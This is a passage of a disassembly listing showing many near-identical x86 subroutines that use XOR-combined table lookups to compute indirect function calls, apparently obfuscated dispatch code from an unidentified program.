mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ACE5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ACF58 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAB0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 20h
mov [ebp+var_2C], 56h
mov [ebp+var_28], 46h
mov [ebp+var_24], 0E0h
mov [ebp+var_20], 0D6h
mov [ebp+var_1C], 90h
mov [ebp+var_18], 33h
mov [ebp+var_14], 44h
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ACFE9
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4ACFE9: ; CODE XREF: sub_4ACF58+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4ACF58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AD055 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAB4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 46h
mov [ebp+var_2C], 0CDh
mov [ebp+var_28], 0AEh
mov [ebp+var_24], 0D8h
mov [ebp+var_20], 0BAh
mov [ebp+var_1C], 0BBh
mov [ebp+var_18], 6Ch
mov [ebp+var_14], 0CFh
mov [ebp+var_10], 14h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 14h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AD0E6
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AD0E6: ; CODE XREF: sub_4AD055+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AD055 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AD152 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAB8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 51h
mov [ebp+var_2C], 72h
mov [ebp+var_28], 0B1h
mov [ebp+var_24], 83h
mov [ebp+var_20], 0BBh
mov [ebp+var_1C], 31h
mov [ebp+var_18], 0B4h
mov [ebp+var_14], 2Ah
mov [ebp+var_10], 0
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AD1E0
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AD1E0: ; CODE XREF: sub_4AD152+7Bj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AD152 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AD24C proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDABCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 74h
mov [ebp+var_2C], 8Fh
mov [ebp+var_28], 44h
mov [ebp+var_24], 0DAh
mov [ebp+var_20], 0F1h
mov [ebp+var_1C], 16h
mov [ebp+var_18], 3Ah
mov [ebp+var_14], 5Fh
mov [ebp+var_10], 0Ah
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ah
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AD2DD
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AD2DD: ; CODE XREF: sub_4AD24C+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AD24C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AD349 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAC0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0DCh
mov [ebp+var_2C], 98h
mov [ebp+var_28], 0F5h
mov [ebp+var_24], 0E5h
mov [ebp+var_20], 0DFh
mov [ebp+var_1C], 0B3h
mov [ebp+var_18], 71h
mov [ebp+var_14], 1Ch
mov [ebp+var_10], 9
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 9
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AD3DA
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AD3DA: ; CODE XREF: sub_4AD349+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AD349 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AD446 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAC4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 61h
mov [ebp+var_2C], 7Ch
mov [ebp+var_28], 88h
mov [ebp+var_24], 70h
mov [ebp+var_20], 0CAh
mov [ebp+var_1C], 99h
mov [ebp+var_18], 0BFh
mov [ebp+var_14], 1Eh
mov [ebp+var_10], 6
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 6
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AD4D7
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AD4D7: ; CODE XREF: sub_4AD446+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AD446 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AD543 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAC8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 11h
mov [ebp+var_2C], 46h
mov [ebp+var_28], 0CCh
mov [ebp+var_24], 0A2h
mov [ebp+var_20], 0C4h
mov [ebp+var_1C], 1Eh
mov [ebp+var_18], 23h
mov [ebp+var_14], 7Ah
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AD5D4
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AD5D4: ; CODE XREF: sub_4AD543+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AD543 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AD640 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDACCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 3Bh
mov [ebp+var_2C], 24h
mov [ebp+var_28], 59h
mov [ebp+var_24], 11h
mov [ebp+var_20], 9Dh
mov [ebp+var_1C], 4Dh
mov [ebp+var_18], 62h
mov [ebp+var_14], 0E5h
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AD6D1
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AD6D1: ; CODE XREF: sub_4AD640+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AD640 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AD73D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAD0o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7Ch
mov [ebp+var_2C], 0D3h
mov [ebp+var_28], 7Ah
mov [ebp+var_24], 0C7h
mov [ebp+var_20], 25h
mov [ebp+var_1C], 68h
mov [ebp+var_18], 74h
mov [ebp+var_14], 0ABh
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AD7CD
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AD7CD: ; CODE XREF: sub_4AD73D+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AD73D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AD839 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAD4o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 92h
mov [ebp+var_2C], 0F8h
mov [ebp+var_28], 36h
mov [ebp+var_24], 84h
mov [ebp+var_20], 60h
mov [ebp+var_1C], 0EBh
mov [ebp+var_18], 0F5h
mov [ebp+var_14], 16h
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AD8CA
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AD8CA: ; CODE XREF: sub_4AD839+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AD839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4AD936 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDAD8o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 72h
mov [ebp+var_2C], 54h
mov [ebp+var_28], 23h
mov [ebp+var_24], 48h
mov [ebp+var_20], 26h
mov [ebp+var_1C], 0DEh
mov [ebp+var_18], 0CAh
mov [ebp+var_14], 97h
mov [ebp+var_10], 6
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 6
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4AD9C7
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4AD9C7: ; CODE XREF: sub_4AD936+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4AD936 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4ADA33 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004EDADCo
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Bh
mov [ebp+var_2C], 0CEh
mov [ebp+var_28], 14h
mov [ebp+var_24], 47h
mov [ebp+var_20], 95h
mov [ebp+var_1C], 0A1h
mov [ebp+var_18], 42h
mov [ebp+var_14], 0D0h
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4ADAC4
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
